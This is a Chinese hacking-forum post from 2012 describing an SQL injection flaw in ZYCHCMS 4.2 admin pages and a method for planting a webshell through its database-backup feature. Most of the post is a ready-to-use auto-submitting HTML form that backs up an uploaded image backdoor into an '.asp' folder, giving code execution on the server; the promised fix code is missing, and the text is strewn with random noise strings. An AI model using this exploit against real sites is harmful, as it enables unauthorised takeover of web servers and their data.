找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1880|回复: 0
打印 上一主题 下一主题

ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 21:09:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
7 m3 O" J3 G" n! C

+ g; x2 m4 h( t; b9 q
+ l' h2 Q- _' C) k  {# C, C. x( m% c0 ]$ t! `5 E5 K6 [( M) c$ y
影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)
" L% D" V4 S8 n5 M ①SQL注射漏洞
2 _4 }* o2 q  m5 z. k 漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp
. ~. I( T/ U7 n; u- y6 M4 \8 U 漏洞原因:未过滤
2 A+ }4 [, v+ [; z: D# d 漏洞代码:
% N* ^/ b9 l# W1 Y8 ^! H2 [ 都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。
8 `' e7 g' k% }3 z- M 修复方法:在文件开头加入代码
) f4 J2 R, |# n% t
9 ^0 z1 W* g4 G6 G; c
9 o$ T2 _5 e) A$ q+ Y; {$ f  i②后台拿WBSHELL; z1 z" _; d8 ]/ U, s
进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。
" B% F# F5 }+ l  _. C9 L, {, X 这里在网上找了一个,改了下,将就着用。& [0 v- K, p0 [% g
以下是代码本地提交代码
% w$ j& A$ w0 i% }
5 a. |. ~+ a) J
, j! s% }+ Z$ ^) F" y% R<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>" u" g) M5 l/ }3 u! N$ d' m' N
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
# P9 N4 g3 m! S' y, d; p <tr>
' i4 w0 T* @& w8 m <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>3 H) n( j9 e* m
</tr>
5 \+ O" H. ^" q1 W* s <tr>
) q! U. ]& a: Z  V/ i% u <td bgcolor=”#FFFFFF”><span class=”back_southidc”>$ i3 g( M& M; Q
</span>
- V, }6 U1 X- ?- i3 A <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
3 z5 @3 x* N! b" T; G; @ <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
9 _4 y, W7 @- N3 H# c <td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
6 a& @/ [9 p" u& }3 q& B <td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
' _+ x9 c6 j( i- S <div align=”left”>
* l) q' M( }, M& P. D <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />4 A* ?4 M& U& G% q/ X% m
<!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
8 r; p" F$ y( |3 Q! B- e <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />5 C8 }& Y( R$ P- T$ A6 s( ]8 Y9 _
</div></td>
# l& d% r3 U" A </tr>6 [8 A3 t+ @( M' Q# z# F
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
" T; B$ l/ i5 i$ d4 { <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
0 j) h6 ~4 F' Y) ~1 H* _ <td class=”td”><div align=”left”>, D2 S- e7 F1 e- n: I
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
$ s3 p' M4 h! V8 T [如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>. {% U6 T! z* B' D; N9 q
</tr>
6 S6 m) X/ `) m( a3 H <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
$ P, ]; Q: I9 C9 I9 u6 W' l; S <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
( ~& W% T  R; {% p  `$ h <td class=”td”><div align=”left”>1 ~8 V1 y) j% Z# a
<input type=”submit” value=”确定备份” class=”btn”
- W# M0 ]! \" W5 d4 p" w; g </div></td>( j4 E/ \* t% l* r. j  a! w3 o; h
</tr>3 J# J5 [% T5 q4 C# X6 N% Q( K
</table></td></tr></form>
: r3 G% H+ P3 c. ] </table>- u8 S/ M/ Q2 V. t
</td>0 H! `* N' n9 i( v9 P0 x
</tr>
- o2 R  R/ @2 E9 s! b7 z$ r9 T </table>7 b% X6 W2 r9 i, \# b' F
<script>7 ]$ e2 B+ g0 C9 J
document.all.add.submit();
/ B9 ]- i* @- c; T7 R3 t: K  r) D </script>
% G# ~5 h# k: y2 C2 @6 y/ b+ e % d+ x( J& W8 T" ]% G% S

4 ?1 d- t1 C9 o! E% o. F1 w2 k4 a" F6 K
2 H3 X! S1 C. T  _6 {
  M. C& t6 ~" P" y* F! Y  J
4 Q% z) V, @% T2 f

5 D. k9 w3 k3 \- ^/ B0 o
" p8 f# |! q. t: N( b' @7 r$ S, N- z. y

* q7 E0 b9 K8 y+ _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表